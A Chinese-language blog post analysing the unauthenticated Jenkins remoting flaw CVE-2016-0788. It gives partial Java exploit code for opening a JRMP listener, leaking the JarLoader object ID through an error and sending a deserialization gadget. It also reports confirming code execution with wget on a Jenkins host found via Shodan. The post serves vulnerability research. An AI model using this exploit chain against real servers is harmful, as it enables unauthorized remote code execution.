Jenkins RCE CVE-2016-0788分析及利用

Before Read

本文是去年乌云关站前夕在drops上发表的,但是之后的事情大家都知道,非常仓促,估计很多爬虫没有收录此文,我的blog上居然也没有留下,所以特地翻出来备份一下。 

 

0x00 概述
国外的安全研究人员Moritz Bechler在2月份发现了一处Jenkins远程命令执行漏洞,该漏洞无需登录即可利用,也就是CVE-2016-0788。官方公告是这样描述此漏洞的:

 

A vulnerability in the Jenkins remoting module allowed unauthenticated remote attackers to open a JRMP listener on the server hosting the Jenkins master process, which allowed arbitrary code execution.

在分析这个漏洞的时候,运用到了Java RMI知识以及反序列化的问题,并且这个漏洞利用的tricks和攻击执行链路都比较有趣,因此发出来漏洞分析分享一下。

 

 

0x01 基本知识
Jenkins Remoting的相关API是用于实现分布式环境中master和slave节点或者用于访问CLI的。在访问Jenkins页面时,Remoting端口就会在header中找到:

Remoting端口默认是非认证下即可访问,虽然这个端口是动态的,但是可以从Response的头部信息中获取到。
早在去年11月份,breenmachine发布的博客中提及到了这个CLI端口,并且漏洞的触发也是经过了这个端口的反序列化来触发,jenkins也进行了修复。
然而,CVE-2016-0788利用了一些技巧,通过Jenkins Remoting巧妙地开启JRMP,从JRMP对反序列化进行触发,从而完成exploit。
JRMP是Java RMI中支持的其中一个协议,其中也包含了反序列化的功能,实际上,任何Java RPC涉及到按值传递的问题,基本都会采用序列化对象的方式进行实现。下面来看看这个漏洞具体的内容。

 

0x02 漏洞原理
这里首先不得不说一下Jenkins是如何防止反序列化命令执行产生的,在Jenkins-remoting中,有一个ClassFilter类,这个类中定义的一些classpath黑名单,这个黑名单目前看起来是这样的。

都是已知的一些比较著名的gadget。在该漏洞被报告时,官方对这个黑名单进行了完善:

主要针对的RMI相关的类进行了黑名单完善。多插一句,黑名单机制是基于ObjectInputStream扩展出来的一个类ObjectInputStreamEx来实现的:

这里调用了filter对象的check方法,可以去看看相关方法,在hudson.remoting.ClassFilter,文件中的isBlacklisted默认返回false,具体的黑名单机制在RegExpClassFilter中进行实现,子类重写了父类的isBlacklisted方法,增加黑名单校验。
虽然Jenkins的黑名单暂时有效,但是这种机制本身不可靠,因为无法防止潜在的反序列化执行的gadget。
扯远了,我们回到正题。官方针对该漏洞还commit了一个单元测试类,以下的分析都是基于这个单元测试文件中的代码进行说明。
通过分析代码,可以看出Moritz Bechler(漏洞发现者)的思路大致如下:
(1)首先连接CLI端口进行通讯
(2)然后通过Jenkins Remoting在服务器端打开一个JRMP Listener
(3)攻击者客户端连接到这个打开的JRMP端口,通过该端口发送恶意构造的gadget,从而触发漏洞。
以上的操作不涉及Jenkins认证。
思路有了,但是还需要解决如下问题:
(1)如何使得服务器端打开JRMP端口
(2)即使打开JRMP,由于JRMP机制运行在默认的classpath,即使gadget被顺利反序列化,也会因为找不到相关的classpath而无法进行触发
(3)如何通过JRMP协议来执行反序列化操作。
下面通过代码一一进行说明。


0x03 通过JRMP进行反序列化
首先需要让服务器端打开一个JRMP端口,来接收我们后续的反序列化执行对象。这里通过构造一个远程对象进行实现。
相关代码如下:

 

//打开JRMP Listener 
//获取一个UnicastRemoteObject,使得服务器端按要求绑定12345的JRMP端口 
Constructor uroC = UnicastRemoteObject.class.getDeclaredConstructor(); 
uroC.setAccessible(true); 
ReflectionFactory rf = ReflectionFactory.getReflectionFactory(); 
Constructor sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC); 
sc.setAccessible(true);
UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(); 
//设置JRMP端口 
Field portF = UnicastRemoteObject.class.getDeclaredField("port"); 
portF.setAccessible(true); 
portF.set(uro, jrmpPort); 
//设置骨架对象 
Field f = RemoteObject.class.getDeclaredField("ref"); 
f.setAccessible(true); 
//监听JRMP端口 
f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), 
					new TCPEndpoint("localhost", jrmpPort), true)));

这里运用了反射机制创建一个UnicastRemoteObject的远程对象,并通过设置该对象的ref属性来设置这个远程对象的代理对象。
通过Jenkins Remoting,我们可以将这个远程对象连同这个对象的代理对象部署到服务器端,即使得服务器端打开一个JRMP Listener来监听我们制定的端口,后续工作就是向这个端口发送恶意数据来实现exploit。


0x04 修改classLoader
根据上文所述,JRMP使用的是默认的classLoader,是无法识别反序列化gadget对象的,Commons-collection1,etc. 因此,为了反序列化能够顺利执行命令,我们需要修改JRMP的classLoader为jenkins的JarLoader,但是本地无法直接去查找服务器端中的JarLoader。
在远程方法调用时,需要使用objID对远程对象进行标识,这个objID是随机生成的,爆破是不太可能的。这里用了一个非常有趣的trick,即使用一个异常来获取到JarLoader的objID号,然后根据ID在服务器端获取到这个JarLoader。
具体就是调用hudson.remoting.JarLoader中的isPresentOnRemote方法:
代码如下:

//创建一个RPCRequest对象 
//即执行Checksum类中的isPresentOnRemote方法 
Object o = reqCons .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", 
						Class.forName("hudson.remoting.Checksum")), new Object[] { uro, }); 
try { 
	//在服务器端调用
	JarLoader.isPresentOnRemote(Checksum) 
	//会报错出JarLoader的objID 
	c.call((Callable) o); 
} catch ( Exception e ) {
	//从异常信息中获取JarLoader的objID
}

其中传入一个Checksum的对象。由于JarLoader是抽象类,调用抽象方法会报错,报错信息为:

 

 

hudson.remoting.RemotingSystemException: failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on [email protected][ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[127.0.1.1:12345](local),objID:[-72a49a0d:15381b90378:-7fec, 3478390807499336137]]]]] at hudson.remoting.RemoteInvocationHandler$RPCRequest.perform(RemoteInvocationHandler.java:610) at hudson.remoting.RemoteInvocationHandler$RPCRequest.call(RemoteInvocationHandler.java:583) ........

可以看到,这里的报错信息中包含了JarLoader的objID号,通过这个ID可以获取到JarLoader在服务器端的实例。


0x05 发送gadget
JRMP是RMI中支持的协议之一,向JRMP发送一个对象执行也需要遵循一定的协议,通过阅读RMI实现的源码探究一下原理:
首先看一下sun.rmi.*下的TCPChannel类。
1.协议头固定形式
写入传输头部的操作:

 

只需要写入Magic和Version字段即可。
2.调用远程对象方法
写入传输字段TransportConstants.Call,用来调用远程对象方法,所以具体看看协议的流程是什么。相关代码在sun.rmi.transport.StreamRemoteCall类中。

在StreamRemoteCall中就有关于方法调用的操作。首先写入TransportConstants.Call字段,标明下面的操作。然后写入对象id,方法索引以及桩对象或者骨架对象的hash,因为JAVA RMI实现中,本地程序与远程主机的方法调用与沟通,实际上是由桩对象和骨架对象进行代理,如果明白Java的动态代理机制,会更好理解,这里就不赘述RMI实现原理了,有兴趣的可以自行搜索相关资料。
相关exploit代码如下:

 

//写入
objIDobjOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3); 
//调用方法索引
objOut.writeInt(-1);
//stub对象的hash 
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
//发送反序列化
payloadfinal Object object = payload.getObject(payloadArg);
objOut.writeObject(object);


0x06 攻击exploit
根据测试代码,我们不难写出攻击的exploit。从shodan上搜一台Jenkins机器,该机器不存在去年那个粗暴的Jenkins反序列化命令执行漏洞。
我们结合cloudeye,执行wget命令验证。
效果如下:

 

 

 

同时,可以在cloudeye上看到结果:

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值